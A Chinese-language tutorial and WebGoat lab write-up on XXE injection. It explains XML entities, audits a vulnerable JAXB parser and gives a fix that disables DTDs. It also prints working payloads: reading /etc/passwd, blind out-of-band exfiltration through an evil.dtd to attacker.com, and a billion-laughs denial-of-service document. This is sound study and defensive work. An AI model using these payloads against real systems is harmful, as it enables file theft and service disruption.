XXE
XML实体
XML实体(Entity)是XML中用来定义可重用内容的机制,当XML文档被解析时,这些实体引用会被替换为实际内容。实体主要有三种类型:
内部实体:在文档内部定义的实体(是否开启根元素的约束)(#PCDATA)
<!DOCTYPE example [
<!ENTITY js "Jo Smith">
]>
<!-- 这部分就是DTD(XML文档的结构定义语言) -->
<user>&js;</user>
<!-- 如果没有约束,则只要在DTD中定义过,就可以在XML的任何地方使用 -->
---------------------------------------------------------------------
<!DOCTYPE example [
<!ENTITY js "Jo Smith">
<!ELEMENT example (#PCDATA)> <!-- 定义根元素必须是 example -->
]>
<example>&js;</example>
外部实体:引用外部资源的实体
<!DOCTYPE example [
<!ENTITY ext SYSTEM "http://example.com/file.txt">
]>
<data>&ext;</data>
参数实体:主要用于DTD内部的实体(以%开头)
<!DOCTYPE example [
<!ENTITY % param "file:///etc/passwd">
<!ENTITY ext SYSTEM "%param;">
]>
XXE注入
XXE攻击是一种针对XML处理应用程序的安全漏洞,当应用程序使用配置不当的XML解析器处理包含外部实体引用的输入时发生。
攻击类型:
经典XXE:
直接读取本地文件
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
盲注XXE:
没有直接输出,但可通过外带数据(OOB)技术获取信息
<!DOCTYPE test [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
%send;
]>
%dtd;
立即触发加载并解析远程 evil.dtd 文件。
%send;
evil.dtd 中定义了一个名为 send 的参数实体,用于执行恶意操作(如窃取数据)。
evil.dtd中的内容
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/steal?data=%payload;'>">
错误型XXE
通过错误消息泄露信息
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % error "<!ENTITY content SYSTEM '%non-existent;/%file;'>">
SimpleXXE
靶场
传入字段,要求列出文件系统的根目录
那就尝试一下
发现失败了,但是传回来一大串目录
原来是结构不对,再试一次
成功,另外这里也可以用file://协议
审计
其中commentStr是用户提交的XML评论信息
尝试解析用户提交的 XML 内容(parseXml)
添加评论到系统(addComment)
检查是否满足解决方案条件(checkSolution)
检查评论内容中是否包含这些系统目录
parseXml和addComment函数的具体实现
parseXml
初始化 JAXB 上下文
var jc = JAXBContext.newInstance(Comment.class);
为 Comment 类创建 JAXB 上下文,用于 XML 与 Java 对象的转换。
newInstance:构建JAXB实例
Marshaller:将Java对象序列化为XML数据。
Unmarshaller:将XML数据反序列化为Java对象
配置 XML 解析器(安全部分)
var xif = XMLInputFactory.newInstance();
由securityEnabled参数判断是否开启禁用外部 DTD和外部 XML Schema的功能
解析 XML 并转换为对象
使用 XMLStreamReader 逐行解析 XML,再通过 JAXB 反序列化为 Comment 对象。
产生XXE注入的原因
var unmarshaller = jc.createUnmarshaller();
return (Comment) unmarshaller.unmarshal(xsr);
这里创建了一个 unmarshaller,并且将xml对象反序列化为了comment对象(java对象)
由于 unmarshaller在执行过程中解析了xml,导致xxe注入
unmarshaller在将xml对象反序列化为java对象的时候,会解析xml,如果xml中有可控传入就会导致xxe注入攻击
修复
package XXE;
import lombok.var;
import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBException;
import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamException;
import java.io.StringReader;
public class XXERepair {
public void Repair() throws JAXBException, XMLStreamException {
String xml = "<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE doc [ \n" +
"<!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
"]><comment><text>&xxe;</text></comment>";
//定义了外部实体 xxe,尝试读取 /etc/passwd 文件。
if (xml.contains("<!ENTITY") || xml.contains("SYSTEM")) {
throw new IllegalArgumentException("Invalid XML content");
}
// 检测恶意 XML 内容
var jc = JAXBContext.newInstance(Comment.class);
var xif = XMLInputFactory.newInstance();
//创建 JAXB 上下文和 XML 解析工厂
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
// 禁用外部实体
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
// 完全禁用 DTD
var xsr = xif.createXMLStreamReader(new StringReader(xml));
//使用安全配置的解析器处理 XML。
// 将xml对象反序列化为java对象
var unmarshaller = jc.createUnmarshaller();
unmarshaller.unmarshal(xsr);
}
public static void main(String[] args) throws JAXBException, XMLStreamException {
XXERepair test = new XXERepair();
test.Repair();
}
}
ContentTypeAssignment
靶场
上传一个正常的发现是有提示的
"You are posting JSON which does not work with a XXE",
那就改一下Content-Type头,改成 application/xml
成功
审计
和上一题的变化就是这里从请求包里读取了Content-Type
如果是json类型直接返回错误结果,如果是xml再继续执行
XXE DOS
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
"十亿笑声攻击"
定义了一个基础实体 &lol; 值为 "lol"
然后通过 指数级嵌套引用 (&lol1; → &lol9;) 逐层放大
&lol9展开后大概有 3GB的内存
消耗服务器内存和CPU资源,导致 拒绝服务(DoS)
BlindSendFileAssignment
构造evil.dtd包
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY secret SYSTEM 'file://用 WebGoat 给的路径替换进来'>
抓包后构造
<?xml version="1.0"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://localhost:9090/files/(用户名)/evil.dtd">
%remote;
]>
<comment> <text> &secret;</text></comment>
相当于间接触发
源码部分差不多就是没有回显